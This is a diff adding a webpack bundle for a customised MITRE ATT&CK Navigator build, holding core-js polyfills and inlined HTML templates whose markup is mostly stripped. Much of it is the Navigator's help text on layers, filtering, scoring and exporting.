19.1.2.7 Object.getOwnPropertyNames(O) + getOwnPropertyNames: $getOwnPropertyNames, + // 19.1.2.8 Object.getOwnPropertySymbols(O) + getOwnPropertySymbols: $getOwnPropertySymbols +}); + +// Chrome 38 and 39 `Object.getOwnPropertySymbols` fails on primitives +// https://bugs.chromium.org/p/v8/issues/detail?id=3443 +var FAILS_ON_PRIMITIVES = $fails(function () { $GOPS.f(1); }); + +$export($export.S + $export.F * FAILS_ON_PRIMITIVES, 'Object', { + getOwnPropertySymbols: function getOwnPropertySymbols(it) { + return $GOPS.f(toObject(it)); + } +}); + +// 24.3.2 JSON.stringify(value [, replacer [, space]]) +$JSON && $export($export.S + $export.F * (!USE_NATIVE || $fails(function () { + var S = $Symbol(); + // MS Edge converts symbol values to JSON as {} + // WebKit converts symbol values to JSON as null + // V8 throws on boxed symbols + return _stringify([S]) != '[null]' || _stringify({ a: S }) != '{}' || _stringify(Object(S)) != '{}'; +})), 'JSON', { + stringify: function stringify(it) { + var args = [it]; + var i = 1; + var replacer, $replacer; + while (arguments.length > i) args.push(arguments[i++]); + $replacer = replacer = args[1]; + if (!isObject(replacer) && it === undefined || isSymbol(it)) return; // IE8 returns string on undefined + if (!isArray(replacer)) replacer = function (key, value) { + if (typeof $replacer == 'function') value = $replacer.call(this, key, value); + if (!isSymbol(value)) return value; + }; + args[1] = replacer; + return _stringify.apply($JSON, args); + } +}); + +// 19.4.3.4 Symbol.prototype[@@toPrimitive](hint) +$Symbol[PROTOTYPE][TO_PRIMITIVE] || __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js")($Symbol[PROTOTYPE], TO_PRIMITIVE, $Symbol[PROTOTYPE].valueOf); +// 19.4.3.5 Symbol.prototype[@@toStringTag] +setToStringTag($Symbol, 'Symbol'); +// 20.2.1.9 Math[@@toStringTag] +setToStringTag(Math, 'Math', true); +// 24.3.3 JSON[@@toStringTag] +setToStringTag(global.JSON, 'JSON', true); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.weak-map.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.weak-map.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var each = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(0); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js"); +var assign = __webpack_require__(/*! ./_object-assign */ "./node_modules/core-js/modules/_object-assign.js"); +var weak = __webpack_require__(/*! ./_collection-weak */ "./node_modules/core-js/modules/_collection-weak.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var NATIVE_WEAK_MAP = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var IS_IE11 = !global.ActiveXObject && 'ActiveXObject' in global; +var WEAK_MAP = 'WeakMap'; +var getWeak = meta.getWeak; +var isExtensible = Object.isExtensible; +var uncaughtFrozenStore = weak.ufstore; +var InternalMap; + +var wrapper = function (get) { + return function WeakMap() { + return get(this, arguments.length > 0 ? arguments[0] : undefined); + }; +}; + +var methods = { + // 23.3.3.3 WeakMap.prototype.get(key) + get: function get(key) { + if (isObject(key)) { + var data = getWeak(key); + if (data === true) return uncaughtFrozenStore(validate(this, WEAK_MAP)).get(key); + return data ? data[this._i] : undefined; + } + }, + // 23.3.3.5 WeakMap.prototype.set(key, value) + set: function set(key, value) { + return weak.def(validate(this, WEAK_MAP), key, value); + } +}; + +// 23.3 WeakMap Objects +var $WeakMap = module.exports = __webpack_require__(/*! ./_collection */ "./node_modules/core-js/modules/_collection.js")(WEAK_MAP, wrapper, methods, weak, true, true); + +// IE11 WeakMap frozen keys fix +if (NATIVE_WEAK_MAP && IS_IE11) { + InternalMap = weak.getConstructor(wrapper, WEAK_MAP); + assign(InternalMap.prototype, methods); + meta.NEED = true; + each(['delete', 'has', 'get', 'set'], function (key) { + var proto = $WeakMap.prototype; + var method = proto[key]; + redefine(proto, key, function (a, b) { + // store frozen objects on internal weakmap shim + if (isObject(a) && !isExtensible(a)) { + if (!this._f) this._f = new InternalMap(); + var result = this._f[key](a, b); + return key == 'set' ? this : result; + // store all the rest on native weakmap + } return method.call(this, a, b); + }); + }); +} + + +/***/ }), + +/***/ "./node_modules/core-js/modules/web.dom.iterable.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/web.dom.iterable.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $iterators = __webpack_require__(/*! ./es6.array.iterator */ "./node_modules/core-js/modules/es6.array.iterator.js"); +var getKeys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js"); +var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js"); +var wks = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js"); +var ITERATOR = wks('iterator'); +var TO_STRING_TAG = wks('toStringTag'); +var ArrayValues = Iterators.Array; + +var DOMIterables = { + CSSRuleList: true, // TODO: Not spec compliant, should be false. + CSSStyleDeclaration: false, + CSSValueList: false, + ClientRectList: false, + DOMRectList: false, + DOMStringList: false, + DOMTokenList: true, + DataTransferItemList: false, + FileList: false, + HTMLAllCollection: false, + HTMLCollection: false, + HTMLFormElement: false, + HTMLSelectElement: false, + MediaList: true, // TODO: Not spec compliant, should be false. + MimeTypeArray: false, + NamedNodeMap: false, + NodeList: true, + PaintRequestList: false, + Plugin: false, + PluginArray: false, + SVGLengthList: false, + SVGNumberList: false, + SVGPathSegList: false, + SVGPointList: false, + SVGStringList: false, + SVGTransformList: false, + SourceBufferList: false, + StyleSheetList: true, // TODO: Not spec compliant, should be false. + TextTrackCueList: false, + TextTrackList: false, + TouchList: false +}; + +for (var collections = getKeys(DOMIterables), i = 0; i < collections.length; i++) { + var NAME = collections[i]; + var explicit = DOMIterables[NAME]; + var Collection = global[NAME]; + var proto = Collection && Collection.prototype; + var key; + if (proto) { + if (!proto[ITERATOR]) hide(proto, ITERATOR, ArrayValues); + if (!proto[TO_STRING_TAG]) hide(proto, TO_STRING_TAG, NAME); + Iterators[NAME] = ArrayValues; + if (explicit) for (key in $iterators) if (!proto[key]) redefine(proto, key, $iterators[key], true); + } +} + + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/app.component.html": +/*!**************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/app.component.html ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "\n\n\n \n\nMITRE ATT&CK® Navigator v{{nav_version}}\n\n\n\n" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/datatable/data-table.component.html": +/*!*******************************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/datatable/data-table.component.html ***! + \*******************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "\n\n\n\n
\n
    \n
  • \n
    = 3\" class=\"section-label\">\n redelk\n
    \n\n \n \n\n \n
    \n
    \n \"deselect\n
    \n
    \n\n\n
  • \n
  • \n
    = 3\" class=\"section-label\">\n selection controls\n
    \n\n\n \n
    \n
    \n \n
    \n
    \n \n
    \n \n \n
    \n \n
    \n \n \n
    \n
    \n
    \n\n\n \n
    \n\n
    \n \n
    \n\n
    \n \n
    \n
    \n\n\n \n
    \n
    \n \n
    \n
    \n \n
    \n
    \n\n\n \n
    \n
    \n \"deselect\n {{this.viewModel.getSelectedTechniqueCount()}}\n
    \n
    \n\n\n
  • \n
  • \n
    = 2\" class=\"section-label\">\n layer controls\n
    \n\n \n
    \n\n
    \n \"layer\n
    \n\n \n
    \n\n \n
    \n \n \n \n\n \n \n \n \n
    \n \n
    \n
    \n\n\n\n \n
    \n
    \n \"save\n
    \n
    \n\n \n
    \n
    \n \"save\n
    \n
    \n\n\n \n
    \n
    \n \"export\n
    \n
    \n\n \n
    \n\n
    \n \n
    \n
    \n
    \n {{filter}}\n
    \n \n \n \n
    \n \n
    \n \n \n
    \n
    \n\n \n
    \n
    \n \"sorting\"/\n
    \n
    \n\n \n
    \n
    \n \n
    \n
    \n\n
    \n \n
    \n \n \n \n
    \n
    \n
    \n \n
    \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    Low value:
    \n
    \n
    \n \n
    \n
    \n \n \n
    \n
    \n
    High value:
    \n
    \n
    \n presets\n
    \n
    \n
    red to green
    \n
    green to red
    \n
    blue to red
    \n
    red to blue
    \n
    white to blue
    \n
    white to red
    \n
    \n
    \n
    \n
    \n
    \n
    \n\n \n
    \n
    \n \n
    \n
    \n\n \n
    \n
    \n \"expand\n
    \n
    \n\n \n
    \n
    \n \"collapse\n
    \n
    \n\n \n
    \n
    \n \n
    \n
    \n
    \n \n
    \n
    \n
    \n \n \n\n
    \n
    \n \n \n
    \n\n
    \n
    \n
    \n\n\n
  • \n
  • \n
    = 3\" class=\"section-label\">\n technique controls\n
    \n \n \n
    \n
    \n \"toggle\n
    \n
    \n\n \n
    \n\n
    \n\n \n \n \n \n \n
    \n \n
    \n\n
    \n no color\n
    \n
    \n
    \n
    \n\n\n \n
    \n
    \n \"score\"/\n
    \n
    \n \n \n = 48 && event.charCode <= 57) || event.charCode == 46 || event.charCode == 45\"\n [(ngModel)]=\"scoreEditField\"\n placeholder=\"score\"\n (input)=\"viewModel.editSelectedTechniques('score', $event.target.value); viewModel.editSelectedTechniques('scoreColor', viewModel.gradient.getColor($event.target.value));\">\n not a number\n \n
    \n
    \n\n\n \n
    \n\n
    \n \"comment\"\n
    \n \n
    \n\n \n \n \n
    \n
    \n \n
    \n
    \n \"remove\n
    \n
    \n
  • \n
\n
\n\n\n\n
\n
\n
\n
1\" class=\"matrix-name\">{{matrix.name}}
\n
\n \n
\n
\n \n
\n
\n \n
\n
\n
\n
\n\n\n\n\n
\n \n
\n legend\n
\n
\n\n
\n
\n \n
\n legend\n
\n
\n
\n
\n \n \n \n \n\n \n \n
\n \n \n
\n
\n" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/exporter/exporter.component.html": +/*!****************************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/exporter/exporter.component.html ***! + \****************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "
\n
    \n
  • \n Warning: this interface is not fully compatable with your browser. For best results please switch to Edge, Chrome, Firefox or Safari.\n
  • \n
  • \n
    \n \n
    \n \n {{config.unit}}\n \n
    \n
    \n\n
  • \n
  • \n
    \n
    \n \n
    \n
    \n
      \n
    • \n \n \n {{config.unit}}\n \n
    • \n
    • \n \n \n {{config.unit}}\n \n
    • \n
    • \n \n \n {{config.unit}}\n \n
    • \n
    \n
    \n
    \n\n
    \n
    \n \n
    \n
    \n
      \n
    • \n \n \n serif\n sans-serif\n monospace\n \n \n
    • \n
    \n
    \n
    \n
    \n
    \n \n
    \n
    \n
      \n
    • \n \n \n
    • \n
    • \n \n \n {{config.unit}}\n \n
    • \n
    • \n \n \n {{config.unit}}\n \n
    • \n
    • \n \n \n {{config.unit}}\n \n
    • \n
    • \n \n \n {{config.unit}}\n \n
    • \n
    \n
    \n
    \n
    \n
    \n \n
    \n
    \n
      \n
    • \n \n \n
    • \n
    • \n \n \n
    • \n
    • \n \n \n
    • \n
    • \n \n \n
    • \n
    • \n \n \n show all\n show expanded\n show none\n \n \n
    • \n \n
    • \n \n \n\n
    • \n
    \n
    \n
    \n
  • \n
  • \n
    \n
    \n \"save\n
    \n
    \n\n
  • \n
\n
\n\n
\n loading...\n
\n" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/help/help.component.html": +/*!********************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/help/help.component.html ***! + \********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "
\n\n

Table of Contents

\n\n
\n\n

MITRE ATT&CK® Navigator Version {{nav_version}}

\n

\n The ATT&CK Navigator is designed to provide basic navigation and\n annotation of ATT&CK matrices, something that people are already doing\n today in tools like Excel. We've designed it to be simple and generic -\n you can use the Navigator to visualize your defensive coverage, your\n red/blue team planning, the frequency of detected techniques or anything\n else you want to do. The Navigator doesn't care - it just allows you to\n manipulate the cells in the matrix (color coding, adding a comment,\n assigning a numerical value, etc.). We thought having a simple tool that\n everyone could use to visualize the matrix would help make it easy to\n use ATT&CK.\n

\n

\n The principal feature of the Navigator is the ability for users to\n define layers - custom views of the ATT&CK knowledge base - e.g. showing\n just those techniques for a particular platform or highlighting\n techniques a specific adversary has been known to use. Layers can be\n created interactively within the Navigator or generated programmatically\n and then visualized via the Navigator.\n

\n

\n Bug reports and feature requests can be submitted to our GitHub Issue Tracker.\n The source code for the ATT&CK Navigator can be retrieved from our\n GitHub repository.\n

\n\n\n \n

Layers

\n

\n A layer constitutes a view of the tactics and techniques matrix for a\n specific technology domain. Version {{nav_version}} of the Navigator can manipulate\n either the Enterprise (Windows, Linux, Mac, AWS, GCP, Azure, Azure AD, Office 365 and SaaS) or Mobile (Android and iOS)\n ATT&CK technology domain knowledge bases. Within a technology domain, the\n Navigator allows you to filter your view of the matrix in a variety of\n ways, displaying the tactics and techniques that are important to you.\n

\n

\n You can view the definition of any technique in the visible matrix by\n right-clicking on the technique and selecting \"view technique\" in the\n pop-up menu. A new browser tab will be opened displaying the definition of\n the technique. In this way the Navigator allows you to explore a given\n ATT&CK matrix and access the definitions of the techniques.\n

\n

\n Beyond the filters, layers also provide a means to customize your view of\n the matrix. To that end you can color, hide, comment, and assign numeric\n scores to techniques to aid in analysis of threats and your defenses\n against those threats. As stated earlier, the Navigator is designed to be\n simple, allowing you to assign whatever meaning you want to the\n color-codings, scores, and comments. This way the Navigator can support\n whatever you want to do without requiring changes to the Navigator code\n itself.\n

\n

\n Each layer created is independent of other layers. However, layers can be\n combined in ways to support analysis, or saved locally. Layer files are\n saved in easy to parse and easy to generate JSON file so that ATT&CK data\n can be used in other applications, analyzed beyond the capability of the\n ATT&CK Navigator, and generated by tools for import into the Navigator.\n The Layer file format is described here.\n

\n\n\n

Creating New Layers

\n

\n To create a new layer, open a new tab and click the \"Create New Layer\" button.\n Note that for performance reasons, the Navigator currently imposes a limit of\n ten (10) active layers at any given point in time.\n

\n

Saving and Loading Layers

\n

\n Layers can be saved by clicking the \"save layer\" button (). This will open a dialog\n to save a layer configuration file to your local computer. This contains\n the configuration for the techniques that have been customized\n (commented, colored, assigned a score, or disabled) as well as the\n scoring gradient setup, filter selection, layer name, layer description,\n view configuration.\n

\n

\n Saved layer configuration files can be opened in the ATT&CK navigator to\n restore a layer you've worked on previously. To do so, open a new tab\n and open the \"Open Existing Layer\" panel. Then click \"Upload from\n local\", and select your saved configuration file. Doing so will restore\n your saved layer to the ATT&CK navigator. This interface also has a \"load from URL\"\n input allowing you to open a layer json from a remote source.\n

\n

Creating Layers from Other Layers

\n

\n Layers can be created which inherit properties from other layers. Several fields\n exist which can be used to choose which layers to inherit properties from:\n

\n \n

\n \n Tactic-spanning Techniques are evaluated individually: if a technique is annotated differently\n in two tactics, the output layers' techniques will honor this difference.\n

\n

\n Tip: Score expressions don't need to use variables! You can use\n this to create a new layer with a constant score for each technique. For\n example, if you wanted a new layer where all techniques are scored 50, you \n could simply type 50 into the score expression input.\n

\n\n

Layer Controls

\n

\n \n Layer Information\n

\n

\n The layer name and description can be edited in the layer information dropdown. The layer name can also be edited where it appears in the tab title. \n Additionally, the layer information panel allows the user to add metadata to the layer. Metadata can be useful for supporting other applications that use the layer format, \n or for attaching additional descriptive fields to the layer. \n

\n

\n \n Note: techniques can also have metadata, however metadata on techniques is not editable in the Navigator. Metadata on techniques is shown\n in tooltips.\n

\n \n\n

\n Sorting\n

\n

\n There are four modes of sorting. Clicking the sorting button will toggle between the modes.\n

\n\n \n\n\n\n

\n \n Filtering\n

\n

\n The list of techniques and tactics can be filtered in the filtering menu.\n Filters are additive - the displayed set of techniques is the logical or\n of the techniques of the filters selected. There are two categories of filters that you can apply to a layer - a platform filter and a stages filter.\n

\n

Platform Filter

\n

\n The platform filter allows the user to control which techniques are\n included in a layer based on whether or not a particular technique\n applies to a particular technology platform. Technology platforms\n are tied to the specific technology domain you are visualizing. For\n the Enterprise technology domain, the defined platforms are:\n Windows, Linux, macOS, AWS, GCP, Azure, Azure AD, Office 365, and SaaS. For the Mobile technology domain, the\n defined platforms are: Android and iOS. \n

\n

\n Each technique in an ATT&CK matrix is tied to one or more platforms.\n In the Navigator, if you wanted to see only those techniques in\n Enterprise ATT&CK which applied to the Linux platform, you would\n deselect \"Windows\" and \"macOS\" under the platform filter. If later you\n decided to also include techniques known to apply to macOS\n platforms, you could select \"macOS\" as well and those techniques would\n be added to the visible layer.\n

\n

Stage Filter

\n

\n In addition to filtering based on technology platform, you can also\n control which techniques to include in a layer based on where they\n fall in the cyber attack lifecycle. The Navigator defines two\n \"stages\" in this lifecycle: \"prepare\" - those tactics that an\n adversary uses prior to compromise of their target and \"act\" - those\n tactic categories at and after the launch of a compromise attempt.\n By default, only the \"act\" stage is selected in a newly-created\n layer to help keep the visible matrix to a manageable size. Note\n that when viewing a layer with both the prepare and act stages\n selected, you may find the \"compact\" matrix view particularly\n useful.\n

\n\n

\n Tip: Techniques can also be hidden from your view by using the hide disabled techniques\n button. Couple this with the multiselect interface\n to hide techniques which are contained in specific threat or software groupings.\n

\n\n

\n \n Color Setup\n

\n

\n Tactic Row Background\n

\n

\n The background color of the tactic row can be set in the tactic row background section of the color setup menu. The color\n will only be displayed if the \"show\" checkbox is selected. The tactic row background will not be shown when in the mini view.\n

\n\n\n

Scoring Gradient

\n

\n Techniques which are assigned a score will be colored according to a\n gradient defined in the scoring gradient section in the color setup menu. Technique scores are\n mapped to a color scaled linearly between the \"low value\" and \"high value\"\n inputs. For example, on a red-green scale, if \"low value\" were set to 0 and\n \"high value\" were set to 50, a score of 25 would fall on yellow -- exactly\n halfway between red and green. Scores below the low value are colored as if\n they have the low value, and scores above the high value are colored as if\n they have the high value.\n

\n

\n Several preset gradients are present within the preset dropdown. If no preset\n matches your desired gradient, you can create your own by adding and removing\n colors using the interface.\n

\n

\n Tip: If your scores are binary (0 or 1), consider setting the low\n value of 0 to white and the high of 1 to some other\n color to only color the techniques which have the value of 1.\n

\n\n

\n \n Hiding Disabled Techniques\n

\n

\n Techniques that are disabled can be hidden by toggling the \"hide disabled techniques\" button.\n Hidden techniques are still present in the data when saved and can still be annotated, but won't be visible in the view.\n

\n

\n Tip: This button has powerful synergy with the multiselect interface. Use the\n multiselect interface to select techniques which match your criteria,\n disable them, and then turn on hiding disabled techniques to remove entire\n groups of techniques from your view.\n

\n\n

\n Showing or Hiding Sub-techniques\n

\n

\n Sub-techniques in the view are nested under their parent technique and are hidden by default. \n

\n \n

\n Tip: Sub-techniques can also be shown or hidden on each individual \n technique when in the side layout or \n flat layout by clicking the gray sidebar on the\n technique cell.\n

\n\n\n

\n \n Configuring the layout\n

\n

\n The ATT&CK Navigator has controls for how the ATT&CK Matrices are displayed. Access controls to change layout via the \"Matrix Layout\" dropdown menu. \n

\n

\n Side Layout\n

\n

\n The side layout displays sub-techniques adjacent to their parent techniques. Techniques with sub-techniques are denoted by the presence of a right-positioned sidebar which can be clicked to show sub-techniques. Sub-techniques are differentiated from techniques by position in the tactic column. \n

\n

\n Flat Layout\n

\n

\n The flat layout displays subtechniques in-line with the techniques. Techniques with subtechniques are denoted by the presence of a left-positioned sidebar which can be clicked to show subtechniques. Subtechniques are differentiated from techniques by indentation.\n

\n\n

\n Mini Layout\n

\n

\n The mini layout is designed to fit more techniques on the screen\n simultaneously by reducing their size. To do so all text is removed\n and techniques are visualized as squares under the tactic. Selecting this layout disables the \"show IDs\" and \"show Names\" controls.\n \n Tactic headers are visualized as black cells above the columns. Technique\n and tactic names are displayed as tooltips when you hover over a\n technique or tactic-header cell. \n\n Techniques and their sub-techniques are grouped inside of an outlined box. The technique is the dark-outlined first cell of the group, and the rest of the cells of the group are the sub-techniques.\n\n Techniques without sub-techniques are displayed without a grouping box, and may appear inline with other sub-techniques-less techniques.\n\n Disabled techniques are denoted with an \"x\" symbol. Techniques with comments are denoted with an \"i\" symbol.\n

\n

\n Showing IDs and Names\n

\n

\n In the side and flat layouts, you can change what is shown inside of the technique cells. Enabling \"show names\" (enabled by default) will show technique and tactic names on each cell of the matrix. Enabling \"show IDs\" (disabled by default) will show ATT&CK IDs (e.g \"T1000\" for techniques, or \"TA1000\" for tactics) on each cell of the matrix.\n\n These controls can be toggled independantly and turned off entirely to remove cell labels entirely. The mini layout forces both of these controls to be disabled.\n

\n

\n Legend\n

\n

\n The legend helps associate meanings with colors displayed by customized techniques in the ATT&CK Navigator.\n To open the legend, click on the bar labled \"legend\" in the bottom-right corner of the screen. Click on the same bar to close the legend. To add an item to the legend, click the \"Add Item\"\n button. To clear all items in the legend, click \"Clear\".\n

\n An item's color can be changed by either clicking in the color field and typing a hex color value, or by clicking in the field and choosing a color from the color picker. Click and type in the\n text field to change the item's label. To remove an item, click on the () button on the right side. Legend items are saved to the layer file and will be\n loaded when a layer with saved legend items is loaded.\n

\n\n

Technique Controls

\n

\n Techniques in the layer can be annotated. The technique controls on the menubar\n are only enabled when one or more techniques are selected.\n If multiple techniques are selected, they will all be annotated simultaneously.\n

\n\n\n\n

\n \n Disabling Techniques\n

\n

\n Clicking the \"toggle state\" button toggles selected techniques between an\n enabled and disabled state. In the disabled state, the technique text is greyed\n out and no colors (assigned manually or via score)\n will be displayed.\n

\n

\n The hide disabled techniques\n button can be used to hide disabled techniques from the view.\n

\n\n

\n \n Assigning Manual Colors\n

\n

\n Techniques can be assigned colors manually. Manually assigned colors supersede\n colors created by score. To remove a manually assigned color, select the \"no color\"\n box at the top of the interface.\n

\n\n

\n \n Scoring Techniques\n

\n

\n A score is a numeric value assigned to a technique. The meaning or\n interpretation of scores is completely up to the user user - the\n Navigator simply visualizes the matrix based on any scores you have\n assigned. Some possible uses of scores include:\n

\n \n

\n By default, techniques are \"unscored\" meaning that no score has been\n assigned to the technique. Note that \"unscored\" and a score of zero\n are not the same, specifically with respect to automatically\n assigned colors. Scores show up in technique tooltips if a score has\n been assigned. To change a technique with a numeric score to\n unscored, select the technique and delete the score value in the score\n control. The technique will revert to unscored.\n

\n

\n Techniques are automatically assigned a color according to its\n score. This color is determined according to the scoring gradient setup interface. Colors\n assigned manually\n supersede the score-generated color. It is a good idea to assign\n techniques scores inside of a predetermined range, such as 0-1 or 0-100. Set\n the \"high value\" and \"low value\" inputs in the scoring gradient setup interface to this\n range to make sure that the color for the score is properly mapped\n to the gradient. Techniques that are unscored are not assigned a\n color based on the gradient - they are displayed with a white\n background in the matrix.\n

\n\n

\n \n Adding Comments to Techniques\n

\n

\n A text comment can be added to techniques. This comment will show up in the technique tooltip if a comment has been added.\n Techniques with a comment will be given a yellow underline.\n

\n

\n \n Clearing Annotations on Techniques\n

\n

\n Clicking the \"clear annotations on selected\" button removes comments,\n colors, scores, and enabled/disabled state from all selected techniques.\n

\n\n

Selecting Techniques

\n\n

\n In order to be annotated, techniques must first be selected. There are multiple ways\n to select techniques.\n

\n

Selecting with the Mouse

\n

\n Techniques can be selected using the mouse. Left click a technique to select\n it. Pressing control (windows) command (mac) or shift (both) while left-clicking a technique will add it to or remove it from the selection. Right\n clicking a technique will bring up a context menu with more options:\n

\n \n

Tip: You can use \"select unannotated\" followed by disabling those techniques, and then hiding disabled techniques, \n to create a layer where only annotated techniques are visible.\n

\n\n

\n \n Selection Behavior\n

\n

\n The selection behavior controls affect how sub-techniques are selected with regards to tactics and sub-techniques.\n

\n \n\n

\n \n Search Interface\n

\n

\n The search interface provides a text input to search through techniques in the matrix.\n Toggles in the interface allow for searching of specific technique fields (name, ID, and description).\n

\n

\n The interface provides\n buttons to select and deselect techniques. These buttons modify the currently selected techniques rather\n than replacing then, allowing for the selection of the multiple techniques by selecting them in sequence.\n There are 'view' links that lead to more info on each technique.\n

\n

\n Buttons labelled 'select all' and 'deselect all' are provided to quickly select/deselect all techniques in the results\n area.\n

\n\n

\n \n Multiselect Interface\n

\n

\n The multiselect interface provides a way to quickly select and deselect\n groups of techniques. The interface provides two types of groupings, threat\n groups and software. Threat groups constitute related intrusion activity\n tracked by a common name. Software constitutes software, malware\n or utilities that use known techniques for intrusion.\n

\n

\n The interface provides\n buttons to select and deselect techniques associated with each software or\n threat group. These buttons modify the currently selected techniques rather\n than replacing then, allowing for the selection of the techniques of multiple\n threat groups or software by selecting them in sequence.\n

\n

\n Threat groups and software in the list are given a gray background when all\n of their techniques are selected, even if the selection was not made using\n the multiselect interface.\n

\n\n

Customizing The Navigator

\n

\n The ATT&CK Navigator can be customized by modifying the fragment (e.g example.com#fragment) of the URL.\n A panel on the new tab page exists to build a properly formatted ATT&CK Navigator URL\n such that, when opened, it will create an ATT&CK Navigator instance with the desired\n customizations. This feature may be useful for sharing or embedding the ATT&CK Navigator.\n

\n\n\n

Default Layers

\n

\n Click the \"add a layer link\" button, then enter a default layer URL pointing to a layer hosted on the web. \n This will cause the customized ATT&CK Navigator to initialize with this layer open by default. \n This is especially useful for embedding or sharing specific layers.\n

\n

\n You can click the \"add another layer link\" button to specify additional default layers, or click the \"x\" button next to a layer link you've already added to remove it.\n

\n

\n The following is an example ATT&CK Navigator URL with the default layer specified to be the *Bear APTs layer from our github repo:
https://mitre-attack.github.io/attack-navigator/enterprise/#layerURL=https%3A%2F%2Fraw.githubusercontent.com%2Fmitre%2Fattack-navigator%2Fmaster%2Flayers%2Fdata%2Fsamples%2FBear_APT.json\n

\n\n\n

Disabling Features

\n

\n Individual ATT&CK Navigator features can be disabled with the checkboxes. Removing\n a feature only removes the interface elements of the feature -- opened\n layers utilizing those features will still have them present. For example,\n even if comments are disabled layers with comments present will still display\n them visually and in tooltips.\n

\n

\n If you are hosting your own navigator instance, you can also disable\n features by editing the configuration file assets/config.json.\n

\n

\n The following is an example ATT&CK Navigator URL with the ability to download the layer and add comments disabled:
https://mitre-attack.github.io/attack-navigator/enterprise/#download_layer=false&comments=false\n

\n\n

\n \n Rendering Layers as SVG\n

\n

\n Clicking the \"render layer to SVG\" button will open a new tab allowing the current layer\n to be rendered to an SVG image. Changes to the layer after opening the render tab\n will not be reflected in the render layer. \n

\n

\n Note: this feature has minor compatability warnings\n with the Internet Explorer browser. For best results, please use Safari, Firefox, Chrome or Edge.\n

\n

\n Clicking the download svg button () will download\n the image, as displayed, in SVG format.\n

\n

\n The Microsoft Edge browser has a bug where the downloaded SVG\n will have the .txt extension. Renaming the extension to .svg will\n restore it as a valid svg file.\n

\n\n

Measurement Units

\n

\n Clicking the \"toggle measurement unit\" button will toggle between\n measuring in inches (in), centimeters (cm), and pixels (px). This unit\n applies to controls for image size and legend position.\n

\n\n

\n \n Configuring Image Size\n

\n

\n The image size controls allow you to specify the width and height of\n the image, as well as the height of the header if one is present.\n The measurements are in units specified by the measurement units control.\n

\n

\n The header height contributes to the total image height: if you have specified\n the image height to be 8.5 inches and the header height to be 1 inch,\n the technique table will be 7.5 inches and the header 1 inch for a total height of 8.5 inches.\n If the header is disabled this control will not be editable.\n

\n

\n \n Configuring Text\n

\n

\n The text configuration dropdown allows for the configuration of the font\n (serif, sans-serif, and monospace) of the exported render. \n

\n

\n Unlike in previous versions of the Navigator, in ATT&CK Navigator Version {{nav_version}} text size is automatically\n calculated to optimize readability.\n

\n

\n \n Customizing the Legend\n

\n

\n This menu can only be opened if a legend is present on the layer or if techniques have been assigned scores.\n The checkbox allows you to undock the legend from the SVG header.\n Once undocked, the X and Y position controls can be used to position\n the legend in the image. The width and height inputs control\n the size of the legend when it is undocked. The measurements are in units specified by the measurement units control.\n

\n\n

\n \n Display Settings\n

\n

\n The header itself, or specific parts of the header, can be hidden\n using the controls in this dropdown. The color of table cell borders\n can also be edited.\n

\n \n\n

\n \n Exporting layers to MS Excel\n

\n

\n Layers can be exported to MS excel (.xlsx) format. Clicking on the \"export to excel\" button in the toolbar will download an .xlsx\n file which contains the current layer. This layer contains the annotations from the view --\n color (via score or manually assigned) and disabled states. The exporter also honors tactic header background, sorting, filtering and hidden techniques.\n

\n\n

Notice

\n

Copyright 2020 The MITRE Corporation

\n

Approved for Public Release; Distribution Unlimited. Case Number 18-0128.

\n

\n Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n use this file except in compliance with the License. You may obtain a copy\n of the License at\n

\n \n\n

\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n License for the specific language governing permissions and limitations\n under the License.\n

\n\n

This project makes use of ATT&CK®

\n ATT&CK® Terms of Use\n
\n" + +/***/ }), + +/***/ "./node_modules/raw-loader/index.js!./src/app/matrix/matrix-flat/matrix-flat.component.html": +/*!*****************************************************************************************!*\ + !*** ./node_modules/raw-loader!./src/app/matrix/matrix-flat/matrix-flat.component.html ***! + \*****************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "\n \n \n \n \n \n \n \n \n \n \n \n \n \n
\n \n \n \n
